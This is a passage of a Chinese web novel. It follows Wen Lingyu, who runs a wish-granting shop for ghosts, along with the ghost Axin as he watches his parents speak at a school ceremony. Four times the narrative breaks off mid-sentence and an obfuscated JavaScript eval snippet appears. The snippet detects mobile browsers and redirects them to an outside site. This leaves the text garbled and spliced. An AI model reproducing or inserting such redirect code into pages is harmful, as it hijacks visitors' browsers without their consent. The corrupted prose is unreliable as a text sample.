“都是什么愿望？这么困难。”温令羽同阿辛讲过，靠事情难易程度来排序，要是仅仅传个话就能实现的，就尽早报给他。 反之，要是困难，短时间无法解决，就先放置在那里，找到合适时机再开始。 开业到现在时间也长了，但阿辛就没找到合适的，问他就是回复。 “没有，你先忙工作，有了我及时告诉你。” 阿辛说得句句属实，他也十分无奈，“鬼小馆的常驻民好多留在这里好几代，当时的祈愿者早就找不到了。” 祈愿者的每次转世投胎都是门学问，轻易找不到门路。 35.阴差阳错 “温令羽，你是本地人，现在有个文件需要你回学校一趟。”温令羽一早起来就看到部长发给他的消息。 部门里的人都很友好，部长和副部在学习和生活中都提供了帮助，让新成员更快适应大学生活。 这么个说法，想必真的是找不到人了，只能系希望在温令羽身上。 如此想着，温令羽快速从床上爬起来，洗漱的动作都比平时快，动静声不小。 阿辛完全是正常人的作息，和其他鬼不一样。 他一边揉着眼睛，试图让自己清醒起来，去看时间，下意识怀疑自己的眼睛，再三确认后，他停下了动作。 “这么早出门？没必要啊，你也不用去公司啊？”阿辛以为是温令羽头一回太激动，越想越不对，慢慢找理由。 温令羽把脸上的水珠擦干净，把刚刚部长布置的任务讲了，“我要去一趟学校，到时候直接赶过去。” 意思是要让阿辛按原时间先过去。 一人一鬼的对话把温老吵醒了，他打着哈欠出来，然后把阿辛叫了回去，“你再回去睡一会，不用这么急着过去。” “你要去学校先过去，不着急回来。要是你去了我们还没到，你就先待一会等我们。”温老对温令羽说，不忘给他打一剂预防针。 话是这么说的，温令羽从办公室把文件拿出来，按照部长的意思，找领导签字盖章再拍照发过去。 手拿着原文件，在学校便利店里，温令羽等部长回消息。 假期的校内店铺大部分都关了，只剩下几家，幸好便利店里有位置。 “这个文件是放在哪里？”照片有了，可纸张也不能随意找个地方丢弃了。 部长将急事处理完后，终于是有空去看温令羽的消息，他一拍脑袋，回复道：“你还在学校吗？我发你地址，邮寄给我就可以。” 温令羽秒回：“还在学校，我现在去给你寄。” “一直在等我？这么久，辛苦了。”部长惊讶于温令羽真在学校，实诚地待在原地等，福至心灵，他又发了条新消息，“你有意向留任吗？部长或者是副部长？” 部门里的活动都有学分，除了赶不及的，温令羽能参加都会去，不过不常在群里活跃，很难注意上。 温令羽从未想过这个问题，“部长和副部一般做什么？” 眼看有戏，部长说服起来更是卖力，对比其他部门，意向留任的人数太少。 “没人去吗？”温令羽不喜冒头争抢，被动更符合他的性格作风。 部长很奇怪，“只要你想，就可以争取。正当竞争无所谓这些。” 温令羽陷入了沉默，脑海中只剩部长语音的最后一秒，“比起等到别人来问你，可以尝试提前问问自己。” 校门口上了车，直接到了鬼小馆门口。 哪怕是白天，里面依旧亮着灯。 当然，该暗的地方还是暗的，氛围感与体验感重要。 温老最常待的影院那块，就没亮过，一场接一场的电影拨，最新上映都能赶上，一点不落后于时代。 温令羽找到了店铺，里面没有鬼，连不远处走廊都有醉鬼躺着，门大开的店却没鬼。 “阿羽，你怎么这么早过来？”负责打扫环境的鬼看到温令羽，意外他会出现在这里。 温令羽看着阿辛在墙上记录的愿望清单，明明最开始看到时还是满满当当的，此刻竟被擦掉了一半。 擦掉到底意味着什么呢？ 温令羽心里那种不好的预感似乎找到了实处，他指了指上面遗留的痕迹，疑惑却不敢问。 “阿辛他们没告诉你啊，这我们自己擦掉的，写这上面给你们不少压力。”说完，才发现温令羽一脸被打击到的表情，后知后觉道，“我们也知道有些任务难办，不为难你们了。” 按部就班地等待，突然某一天出现一个人，告诉说可以打破现在的僵局。 一时间头脑不清醒是有的。 日子一天天过去，仅剩的期待值一点点耗尽，不如就别再想了，擦了眼不见为净。 遗留在墙上，第一条是土匪团大哥的，不擦掉或许是看在他们关系上，这种时候肯定要为朋友“两肋插刀”，江湖义气牢牢刻在心上。 等了两个小时，没见到阿辛，温老倒是按时来追剧。 “阿辛还在家里？”温令羽问温老，他刚从家过来。 温老急着去霸占座位，他着急点了点头，赶紧去占位置，到了播映室门口，他提醒道：“你别怪阿辛，他现在对鬼小馆都有心理阴影了。” 这句话像是个钉子，扎在温令羽的身上。 到晚上，不留宿在鬼小馆的鬼魂就会过来聚一聚，整个地方瞬间热闹起来，这时刻，鬼也是最多的。 温令羽关注外面的情况，迟迟不见阿辛进来，他会迟到，但绝不会无故罢工。 土匪团大哥正在做巡视工作，确保安全，转到温令羽的店铺门口，叫到了温令羽，“怪不得阿辛在门口溜达不进来，原来你在看店。” 一听这话，温令羽当即就坐不住了，他问道：“你刚刚说阿辛站在门口？” “是啊，我刚刚在门口看到他了，问他，说是在外面透气。”大哥不明所以，但与温令羽许久不见，他也很高兴，“本来这个时间，阿辛早就过来了，果然是你在。” 大哥还有其他地方要去，没留多久就走了。 温令羽目送大哥走远，然后跑到了门口，阿辛就蹲在墙角，没有进去的想法。 “阿辛，你……”此刻情状与温老说的话呼应上，是他给阿辛的压力太大，温令羽很是自责，“对不起，我不该把店铺的任务都压你身上。” 阿辛也很自责，好不容易能帮上温令羽的忙，却弄成这副样子，“是我的错，我没处理好。” 异口同声。 此刻，责任在谁已经不再是讨论的重点。 温令羽和阿辛重新回到了店，顺着阿辛的手指，这才发现，墙上剩下的愿望全是由土匪团贡献的，其他鬼的都已经擦掉了。 “我不敢和你说，把任务搞砸了。” 其他鬼来抹除的理由合理正当，口口声声说着是为他们着想，满墙未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930035|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完成容易影响业绩。 “他们想让你能真正拿出水平来，证明能有实现愿望的能力。”阿辛斟酌用词，担心某一个字说错会打击到。 温令羽明白他们的顾虑，“除了温大爷，我们确实还拿不出手。” 急需要一个能给众鬼看的真实例子，告诉他们，人鬼交流所可以作为沟通桥梁，帮助众鬼脱离世界束缚。 “我吧，我可以成为第一个。” 阿辛迈出这一步不容易，在来到温令羽家后，对自己家能离多远有多远，甚至是路过，都会选择换一条路，避免见面。 在阿辛如此努力下，还真一次面都没碰到过。 实际上阿辛的任务挺难，是要让阿辛的父母在人世间重新见到阿辛。 一场死局。 人是见不到鬼魂的。 要是阿辛他要完成的愿望简单，温令羽早就替他办了，哪还会拖到这个时候才想到。 温令羽安慰阿辛，“别着急，我们主动出击，肯定能完成一个的，有了一个谁还愁下一个。” “嗯嗯。”阿辛点了点头，有了几分信心。 就在选择“出击”对象时，外面想起了阵阵嘈杂的声音，还有鬼在尖叫，场面混乱。 声音越来越清晰。 温令羽和阿辛对视了一眼，一起站起来往外面去看情况。 土匪团大哥跑在最前面，领着一群鬼在温令羽面前停下来，“阿羽，阿辛，你们快看我们。” 似曾相识的画面，与温大爷离去那天一样。 温令羽认了出来，“你们要走了？” 话落，一群人点头，每个人都在说话，却没一个听得清。 见状大哥吼了一声，让场面安静下来，让他一个人代替其他人发言。 “我们发现一直是搞错了，村长和村民要的从来不是报复，而是生存。” 温令羽想起了刘子远回到公司的事，刘子远在公司发生了什么，才会导致现在的情况。 阴差阳错之下，带来的福报。 大哥领着他们向温令羽鞠了一躬，“刘子远被正式任命为项目负责人兼项目组组长，时隔百年的任务完成了，谢谢你们。” 说着，大哥头一个上去把墙上表格的最后一栏空白处填上内容——已完成。 “成”的最后一笔写完，鬼小馆众鬼齐聚，都目睹了大哥离开的样子。 土匪团这么多人，一个接一个消失。 老头衫大哥迟迟不上去，身边人都走了，只剩下了他驻留在原地，但变得渐渐虚无的身体都在说。 离开是时间问题。 他们当中，老头衫大哥最为熟悉，也是他们之中最早开始适应现代生活的鬼。 更加不舍得。 分别是必修课，“学分”的含金量高，不修毕不了业。 许是这面墙发挥了作用，才让老头衫大哥不能离去，于是温令羽走上前，掏出自己兜里的笔，一笔一划写着。 “温令羽，你未来定会一帆风顺，尽是坦途。” “谢你吉言，你也会是的。” 36.反转时刻 “刚刚发生的，你们都看见了吗？” “真有这么神？” “我也要写，第一个先实现我的。” 温令羽和阿辛被众鬼挤了出来，他们进去后拿起笔开始往墙上写。 热闹不断吸引其他鬼魂过来，恰好碰上写好愿望表格的鬼出来，便问他们里面的情况。 不需要该店老板做介绍，光靠顾客，这广告就打得响亮。 店里面的鬼魂越来越多，明明不断有鬼出来。 温令羽站着腿酸，干脆席地而坐，等里面空闲下来再进去。 阿辛晚了一会儿才反应过来，看到温令羽都坐下来了，他还傻傻杵在那儿站着。 温令羽拍了拍他身旁的地板，“坐着等呗。” 要等里面人走完，看样子要很久。 “你们两个站门口干什么？”温老从影映室里出来，早在之前他就发现里面的人少得特别快，但他还是等一集结束后才出来看。 就差一集结尾。 什么都比不上结局，下一个结局他都不知道要等多久才会重映。 温老一出来，顺着鬼群走过来，入目是走廊上并排坐的温令羽和阿辛，根本没往最热闹的地方看。 温令羽抬抬下巴，也不说话，示意让温老看店铺的情况。 大家都熟悉，左看看右看看，全是熟面孔，都不着急往前挤，慢慢往后退，到是成了几排队伍。 自觉。 变得有秩序起来。 店铺面积就这么大，只能往店门口退，一下子就排了出来，在门外看，场面极其震撼。 温老第一次见这样的；，他张了张嘴出不了声音，良久后找回了自己的声音，“这发生了什么？” 说这话时，旁边刚好有鬼在排，抓住了机会，给温老科普，“这家店有奖品，只有在墙上签名就有礼品拿。” “不是！你听错了，是签名就能实现你的愿望。” 人传人，容易谣言四起，传到后面都不知道会说到什么。 温令羽一下站起来，给他们说：“你们都错了，是在墙上记录你的祈愿任务，店主帮忙实现，助你们脱离现实限制。” “你别瞎说。”那鬼一点不信，还让温令羽走远些，别影响他们在聊天。 他同伴搭上他的肩膀，把身体硬掰过去，怕温令羽他们听到，轻声地说：“他好像就是店主。” 阿辛赞同似的点点头，肯定地回答道：“他就是这家店店长，自信点朋友，把好像取消掉。” 此话一出，一群鬼围了过来，把温令羽包在了中间，全在问问题。 排在后面的，都是从别的鬼口中得到的消息，不全面不知道，一看到当事人，都想过来吃个瓜，希望自己得到第一手。 店铺里面不知道谁喊了一声，“外面的都别排了，里面写不下了。” 此话喊得响亮，大家伙都听见了，鬼群也不挤进去了，都慢慢都向外面走，然后就看到门口围的圈，也凑了过来。 一两个，温令羽还可以说，甚至讲得很热切，一下子成了演讲现场，社恐性质慢慢显现出来。 温令羽拉着阿辛找了个借口就跑，到鬼小馆门口，回头看没人追上来，双双松了口气。 阿辛也不敢回去，“回去还是回家？” “回家吧。”温令羽不想再面对，需要时间。 过了几个小时，温老才回到了家，面对两个在家等他、落荒而逃的“逃兵”。 “你们逃得好啊。”温老不满得很，把他一老人家留在混乱的地盘上。 温令羽和阿辛均羞愧得红了脸，反驳不了温老的话，他俩真就这么跑了。 “那现在怎么样了？”温令羽厚着脸皮去问的，连头都不敢抬一下。 温老叹了一口气，小辈不成器，作为长辈要给他垫后，从自己家出去，他不护着谁还能护。 “你离我太远了，我没拉到你。”温令羽是想把阿辛和温老一起拉出来的，但触手可及之处，只有阿辛一个，只能先带一个是一个。 “搞定了，以后遇事别跑，再怎么样我也会给你兜着，但是不能跑。”温老觉得要开始培养温令羽的承担责任。 温令羽明显是一愣，以往温父和令美珑遇到事情，问都不问都让温令羽自己解决，发生了矛盾，只嫌弃丢人连面都不露。 处理不了的时候，逃避是最优解。 面对其他人时讲理，有时费干了口水，也说服不了，不愿意信道理只相信他们愿意相信的。 温令羽答应下来，“我知道了。” 正说着，门被打开了，是宋时盛过来拿行李的。 一进来，就倒在了沙发上，他是下班直接过来的，加班处理了很多的活。 “你把小方辞掉了？” 宋时盛惊讶温令羽没来公司都知道了消息，很快，“你有内部群？偷偷拉我小号进去。” 在学校，会有没有老师的班群，在公司，同样也有没有上司和老板的工作群。 有朝一日，宋时盛成了被排在外的人，心里有一种说不出的感觉，但“打不过就加入”，选择用小号潜入进去。 总有一天成为了以前自己最讨厌的一种人。 温令羽直接把手机扔给宋时盛，“没有群，我想想你的脾气，肯定忍不了。” 温令羽已经辞职了，宋时盛当然不会把公司内部消息说出来，只能表示佩服温令羽。 “我再睡一晚，明天我让司机过来拿。” 宋时盛忙到脚不沾地，一整天光顾着和各个部门开会，总结不同部门的工作结果。 在温令羽松口后，宋时盛就去卫生间洗漱了。 “阿羽，令阿姨今天和我打电话了。”宋时盛边冲澡，嘴巴又闲不住，去找温令羽聊天。 温令羽习惯了，有一搭没一搭听，直到“令美珑”的名字出现，温令羽站了起来走卫生间门口。 “她怎么会给你打电话？” 宋父和令美珑有工作上的往来，令美珑自从孩子要考试后，已经有一年没有参加应酬，都让其他人代劳。 考试结束后，令美珑也开始在宴会上露面，与宋父就遇到了，还就在前几天。 “大概意思是说照顾照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943221|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾你吧，刚答应关照你一下，人都照顾辞职了。”宋时盛还想让温令羽改变想法。 现阶段，只有令美珑出马才能有用。 要在看到鬼小馆现状之前，温令羽说不定还真会改变主意，但现在是不会了。 “我不去，而且过几天我准备去我妈那一趟。”温令羽回答道。 高中考上，升学宴是少不了的，令美珑在朋友圈里发过了，考上的第一天就先行庆祝过了。 都这么说，宋时盛是知道温令羽有一年没去令美珑那一边了，是想念的。 “你就知道说到令阿姨，我肯定不会再说了。”宋时盛慢一拍反应，他才发现温令羽说到个让他闭嘴的理由。 温令羽嘲笑他，“了解你这是。” 宋时盛不甘示弱，他回复道：“我也了解你好吧，知道你情况。” “那你什么时候走啊？”宋时盛继续换个话题聊，他还有衣服要穿，嘴巴是停不了的。 令美珑看到温令羽的点赞，特意开了私聊来找温令羽。 “阿羽，等我工作空闲下来，我来接你过来。”令美珑清楚冷落了温令羽一年，每次温令羽该来的日子，都被她用借口推辞了回去。 温令羽应了下来，“好。” 一个字显得冷漠，温令羽又接着回了一句：“那等你过来。” 温昕下半年也要上初中，凭温父的行事作风，大操大办是绝对的，而且温令羽要到场的。 这些事说完，宋时盛在心里为温令羽捏把汗，要是温昕和弟弟宴会非常不凑巧地撞在了同一天，到时温令羽会是一个头两个大。 凭他的了解，会是两边都不去，运气好两边都讨好事情这么过去了，运气差得罪了两头。 照以往的情况，封几个月零用钱，来彰显父亲的威严。 宋时盛想了想，“要没地方去，来我家，我收留你，报答你这么多天的照顾。” 好意心领了。 “没事，我有存款，加上你给我发的工资，不至于流落街头。”温令羽找了个正当由头。 第二天一大早，宋时盛起来收拾好，不仅把行李都打包好了，甚至还能点了早饭在家吃。 温令羽还惦记他的店，一晚上没睡好，醒得早，翻来覆去睡不着干脆就起来了。 门一开，就看到宋时盛穿戴整齐，正悠闲地坐在餐桌上吃早餐，他买的两人份。 “刚刚好，过来吃饭。本来是说等你醒了自己热一热的。”宋时盛起得早，以为温令羽自己是起不来的。 而且他正愁没人陪他一块吃。 特意等温令羽洗漱完，明明就最后几口三明治，宁可在那里放冷了，也要等。 甚至还催促温令羽，“你好了没？我东西都要冷了，干巴了不好吃。” 温令羽加快了擦头发的动作，没吹干先坐了下来，“你这就两三口的事情，还叫。” 宋时盛本质是个话痨，但在岗位上一直压抑自己，要做一个严肃冷静的CEO。 这就导致，反弹得更为严重，话比平时更多了。 “你看新闻了没有？” 37.当年事故 “什么新闻？”温令羽一脸茫然地拿出手机，这些天别说是新闻了，连手机都没时间拿出来翻一翻。 宋时盛想想温令羽也是不知道，他干脆直接把手机界面亮了出来，“关于我们学校的，前几年的那个学生，不是还把窗户给封了吗？” 温令羽高一进来时，各个班级的窗户已经封死了，只能开出小小一道缝隙来通风。 宋时盛却是知道的，他初中直升上来的，没谁比他更熟悉学校了，以往主任还让他们大冬天开窗。 美其名曰，别让学生在教室的温暖环境中睡着，影响学习，虽然他们班向来不听。 “那现在怎么了？”温令羽打着哈欠，对接下来讲的事情提不起一点兴趣。 宋时盛直接把新闻界面翻出来，给温令羽看上面的照片，是他们学校领导举办的活动，名称上面只看到基金会几个字。 好奇心发作，将整个新闻从头看到尾。 他们学校将要开设心理课程，并且对之前发生事故的家庭给予补偿，所有费用会由基金会承担。 温令羽将手机还了回去，他在上面看到了温父和宋父的名字，说道：“你这是要我和你一起去？” 这话一出，宋时盛就知道温令羽搞错了，不过这一点也提醒到了他，“那也可以，反正你肯定得去。” “我要给你看的是最后的荣誉名字，我要去领奖了。”在宋时盛的提醒下，温令羽总算注意到了最后的名字，给优秀毕业生的奖章。 宋时盛刚毕业满一年，是里面最小的，按理说是轮不到的，不知道怎么整出来的名单。 “有你怎么没我？”温令羽佯装不满质疑宋时盛的资格，同时也是好奇这个名单怎么排出来的。 近五年学校毕业生里，得到过奖励的，就会在名单上，而恰好宋时盛就因为一个项目加上他大学生身份，凭这得了个奖。 这个奖，温令羽也跟着去拿了，不过纯属去帮忙拍了个照片。 宋时盛举着手机里的照片一脸骄傲，“没办法，我就是这么强。” 温令羽简直被整笑了，把沙发上的枕头扔了过去，“闭嘴，要我去就闭嘴。” 等宋时盛收拾完东西回家，温令羽也接到了温父打来的电话，确实是宋时盛讲的事。 温父是让助理打来的，“温总说让您三日后去高中参加典礼，服装需要您准备，让您从以前的衣服里选择。。” 温令羽答应了下来，每次温父要带温令羽出席，都会找人给温令羽设计衣服，搭配着装，只不过这次很赶，衣服赶制不出来。 挂完电话，经过温父和宋时盛这一遭，温令羽再不好奇，也被挑起了兴趣，自己搜了一下。 却没想到，新闻下一条里的主人公，竟会是阿辛，新闻内容的插图，是他入学时候的照片。 而他们学校前几年出的是事情，也是阿辛。 “你一大早不睡觉看什么？”阿辛从房间里出来，还没睡醒的他一边揉眼睛，一边对温令羽说话。 温令羽赶紧去关投屏，却还是慢了一步，阿辛看到了他生前的照片。 害怕他会难过，温令羽边起身，边把电视关掉了，急忙安慰道：“那个你……” “我以前这么帅的。”阿辛脸上一点悲伤都看不见，反倒是对自己颜值的信心。 不过很快，他也是反应过来了，“我怎么突然上新闻了。” 这问题问到了关键点。 温令羽摇了摇头，表示自己也不清楚，相视一眼，一人一鬼一起坐了下来，把新闻看了个遍，算是知道了原委。 暑假除了高考中考外，还有不少重要考试在那里，各个学校，安排的补习一轮接着一轮。 别的人都在放假，而这一批人却是不眠不休做题，还有家长老师给的压力。 意外就这么容易发生。 而涉事学校第一时间不是解决安抚，却是去掩盖事实，反弹就变得更加严重。 闹上了新闻，校长老师一个个被叫去问话。 与此来看，几年前他们学校的处事速度被表扬，校长也是飞快抓住这次机会，宣传学校人文关怀理念。 阿辛倒是没关注过自己家赔到了多少钱，但看新闻上写的，应该是很大一笔。 “原来赔了这么多钱，连我弟现在的升学都不用担心了。”阿辛看到了校长给予他家的关照，他弟弟的初中和高中免考直升。 温令羽这下不知道该从哪里开始安慰，只能静静在旁边陪着他。 阿辛从情绪中出来，注意到温令羽在旁边，他反过来安慰：“阿羽，没关系，好了不说了，我先去找点吃的。” 嘴上没说，阿辛也没表现出来。 但是时不时会对着电视发呆，在等温令羽换衣服的间隙，思绪都不知道飞哪里去了。 任凭谁看，都会觉得是有心事。 温令羽想了想，“要和我一起去吗？就是可能会遇到你父母。” 阿辛不想看到他爸妈，但典礼会有他爸妈上台讲话，来彰显学校的优待。 在心里做了一番挣扎，抵不过情绪，终是思念占了上风，阿辛答应和温令羽一同前去。 门口保安在维持秩序，但他拿不到名单，只能是给车指一个停车方向，或是给来的人指个路。 这年头闹事的人，只能靠学校礼堂大门口的保安火眼金睛，分辨哪些人是来参会的，哪些是来看热闹的。 温父的车停在路边灯温令羽，看他从出租车上下来，再找到他的车。 “早说让你和我从家过来，到时候被拍到还不知道媒体怎么说。”温父不想在新闻上看到自己的负面消息，对于温令羽把话柄留在别人手里的行为，更是生气。 高中离他学校几步路，甚至为了早点到他选择了打车，运气好还没遇上堵车。 温令羽直接拆台，“我是没这么多力气特意回去，你都不愿意绕路过来，我自然和你一样。” 温父气一下被温令羽激起来，“你怎么和你爸说话的。” 以往还能吵起来，吵架是两个人的事情，任何一方不搭腔，就没办法。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993076|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温令羽选择用沉默的方式应对，在温父下一句开口前，司机大哥在他出声前打断了他的话。 “已经到停车场了，我在这里等。” 同样也提醒他们，距离典礼开始已经很近了，再不去就赶不上了。 温父是基金会成员，温令羽也是从这个学校毕业的，也拿到了好成绩。 他们的到来是必然的。 温令羽让阿辛坐在典礼最后排，而他坐在温父的旁边，两人端端正正在第一排。 宋时盛到的比他早，这时候在中间坐下来了。 “你看看，家里的公司你不愿意去，比不过宋家那小子了。”温父看到处在最中心的宋家父子，嫉妒羡慕的情绪都有，负面的全怪在温令羽身上。 温令羽不惯着，“宋叔叔不管怎么样都会在最中间，心理再不舒服也没办法。” “那你呢？请到的老师，教的课都是一样的，怎么与别人家差这么多。”温父嘴上功夫不弱，还回来很容易。 温令羽冷哼一声，“我倒是想，可你能拿出和宋叔叔一样吗？你自己公司都难搞吧。” 周围全是摄像头，温父保持面部表情，脾气忍着不说，把注意力回到典礼上。 礼堂人都坐满了，典礼项目正式开始。 先是由校长上台说话，讲一讲学校成就，以及这一次高考学生的名次，为学校的招新打一份广告。 然后就是对隔壁学校事故的点评，以客观角度作为切入点，最后以自己学校为例，把阿辛的父母请上了演讲台。 一看到台上站着的人，温令羽第一反应就回头去看阿辛，只见他愣愣地直勾勾地看着台上的两人。 他们还抱着另一个孩子。 距离很远，温令羽有一种错觉，阿辛好像快要撑不住了。 台上他父母在哭泣阿辛的离去，更多是在庆幸新生命的诞生，让他们一家有了生的希望。 “我们家小辛成绩优异，考试比赛不是第一就是第二，明明有大好的未来，却因为生病最终离世。” “学校也很负责任，没有推脱，第一时间查真相，最终查明是个意外，由心理病导致的。” “注重学校心理健康教育是非常重要的。”说到最后一句，便将话筒交给了主持人。 校长也是顺着这话往下介绍：“我们学校早年有过心理咨询室，但由于各种各样的原因，都没有派上用场，但上次的事情让我们深刻意识到心理教育的重要性。” “即将开设心理课程，经过几年的筹备和试验，可以把成果落实给基金会的各位。” 然后就有心理老师向在座的介绍基本情况和可信程度，来说服基金会成员来助力这个项目。 温令羽听得心不在焉，时不时往后看阿辛的状况，温父就坐他旁边，见他这样。 “你要是有事，就先走吧。”颁奖和其他宣传内容已经结束了，接下来的内容并不允许拍摄。 媒体记者走了，温令羽耐不住性子坐不牢，温父宁可让他走，不碍他的眼。 38.祈福所在 “我还真就不走……” 这对话最容易把脾气激上来，温令羽顺嘴就应了回来，眼还在看阿辛那边的情况。 阿辛还在原位置坐得好好的，就回头一下子，人就不见了。 温令羽心也着急，“你说对了，我先走了。” 然后从另一侧走出去了，还好他们的位置虽然在前面，但是偏，还靠出口门。 中途出去也不担心引人注意。 阿辛蹲在礼堂门口，听到温令羽的脚步声头抬了一下，又马上低了下去。 刚开始阿辛的状态还好，甚至连他父母上台时，还能笑着看，忽然一下就低落下来，“还好吗？” “应该为他们高兴吧，毕竟他们现在不用整天以泪洗面了，但是心里还是很难过。”阿辛此时此刻非常迷茫。 成为了鬼魂，又分开了这么久，逃避了。 阿辛已经渐渐忘却了这些，一下子旧感重提，又多了一丝不解。 温令羽忽然想到了温芷欣和周蔓，周蔓能听到，说明还是有办法接触人与鬼之间的隔阂。 那么阿辛就有出现在父母面前的希望。 “你想要回去吗？我们可以去找资料，老一辈肯定有留下记载。”温令羽第一时间询问阿辛的意见。 以为经历了这一茬，阿辛会有想走的念头。 出乎意料的事，一听这话，阿辛一下就从地上站起来，愤慨地对温令羽说道：“我不走！我现在是一名准大学生，吃得好住得好，还可以实现自己的价值。” 不会干涉别人的选择，一直以来都是被推着走的，所有都是。 温大爷是自己找上门的，后面也是。 因为主动过争取过的结果，一点都不令人满意。 温令羽笑着应下来：“那也好，这样我的小铺就有人管了。” “那当然，不过我还是要假期的，和我替班，我可不当黑奴。”阿辛心里牵挂着温令羽的小店铺，走是肯定走不了的，要是真到了那一天。 “阿羽，要我真走了，往后我罩着你，祈愿你身体健康事事顺心。”阿辛掏出句心窝子的话。 温令羽给整肉麻了，手臂上起了一排鸡皮疙瘩，到了鬼小馆才完全消下去。 “你看看，现在才好。”温令羽伸手臂给阿辛看。 阿辛哪知道温令羽这么听不来直白话，给嘴做了个拉拉链的手势，表示自己不说了。 按照时间来看，温老应该在隔壁走廊的影映室，但此刻却在店铺门口，正监督扫地机器人工作。 虚拟的新鲜玩意儿一下吸引了目光，温令羽更是惊喜，“这个哪来的？” 温老早在几部影视剧里了解到了这些，撇了撇没见识的温令羽一眼，“阿辛吃惊也就罢了，你怎么还这么惊讶。” 一看就没重视阿辛，他嚷嚷道：“老先生！我才死没几年，我自己家有。” “我家也有，但我也是第一次看到虚拟的，照这个架势，手机是不是也快了。”温令羽也反驳对他的评价。 温老也觉得可能成真，“我刚刚问了他们，说还在研制开发当中。” 当鬼也不忘给鬼界做建设，来造福更多的鬼魂。 温令羽默默点了个赞，“要大大的奖励他们。” “我听说就是由鬼小馆老板出钱，你要不去账户上看看，万一用太多了……” 鬼是用冥币的。 温令羽想了想天地银行的汇率，大把大把烧就好了，一激动打断了温老说话，“你们金元宝银元宝都通用的吧？” 恨不得马上回去“进货”，然后给温老烧。 温老赶紧给他泼一盆“冷水”，试图让他上头的兴奋冷静下来，哪有这么好的事。 “你没发现上次清明给了这么多东西，你看我有收到多少吗？”温老直截了当讲了个最近发生的。 有迹可循。 温令羽感到非常遗憾，“那真没什么用吗？我以后也不烧了，反正没有用。” “不是不是，肯定是有联系的。像你们祭拜更多的是上一辈，血缘更近的。我太远了，贡品和钱都是很少一部分，像你太爷爷收到的就多了。” 这例子给得通俗易懂。 看样子是没办法了，温令羽从酒保那里拿了账簿过来，一打开人傻眼了，非专业人士不知道上面在说什么。 温老也没见过，但他会甩锅，“你在学校里都学些什么？这都看不懂。” 一下把在场两个都给骂了。 幸好前任酒保有先见之明，选的人合适能干，找回来一问就清楚了。 实际用金钱消费的是住所之类的，但鬼界钱币最重要的是研发费用其次是鬼小馆的经营。 在鬼小馆，是不用花钱的。 于先生掏钱在鬼小馆便是其中一份收入，这也是他能在这受到优待的原因之一。 “但研发产品对外依旧要收取费用的，只有在鬼小馆内才不用。”酒保最后补充了这么一句。 温令羽朝他点头明白，想着想着，他抓住了重点，“所有的研发产品无偿无条件供给鬼小馆吗？” “看协议来说是这样的。”酒保说着，手上快速翻动资料，准备找给温令羽看。 于先生那另一个隐藏的目的浮出了水面，鬼小馆的初衷和研发人员是一样的，才会两两合作研发出更多的东西来造福，但也只受惠于彼此。 但鬼小馆的收留制度是严格的，若非真的无处可去、无鬼可依，是不能长久留在这里，连温老和阿辛都没法。 一两晚可以，但之后必须要回去。 听着他们的对话，阿辛还没看出来，惊讶于鬼小馆的超大后援团，还想着去催促进度，“我能不能去那边看看，我真的很好奇有哪些东西。” 与现实社会一样的东西，也可以被鬼魂发明出来，当然是值得高兴的。 然后，温老走到了阿辛和温令羽中间，对于温令羽紧皱的眉头，他清楚温令羽的疑虑，“别把事情想得这么糟，害不到人又招惹不到鬼的，放宽心。” 温令羽悬着的心放了下来，去看墙上的祈愿清单，单子上写的东西很多。 “好多啊。”忍不住发出了感叹。 阿辛也看到了，他见过一遍，这会儿倒是冷静地去看内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温令羽和阿辛都在这生活了好多年，阿辛更是一辈子都在这里，几乎是听到标志性的就知道是在哪个地理位置。 “龙青山。” “青山庙。” 温令羽和阿辛异口同声说出了地方，尽管小男孩叫不来具体名字，但他听着耳熟，“好像是这个名字。” 见状，温老一语定音，要过去，“那就是在这里了，我们现在就过去。” 阿辛先是把孩子叫出去，等确认说话听不见了，他说道：“老先生，青山庙是祈福的地方，我们进不去。” 温老指着温令羽，刚要说话就被打断了。 阿辛坚持要说完，“等等，先听我说。我知道老先生是要通过第一次出现的地点来找，可是祈愿太重也会，青山庙本身就是祈愿的地方。” 第一次出现在这里的鬼魂尤其多。 “连我自己，都是在这里。”阿辛最终选择以自己为例。 本以为这样就会说服温老，但姜还是老的辣，温老却是知道这个事依旧坚持，“你说的这些我都知道，可这是唯一的线索，因为主观原因而放弃，最容易后悔。” 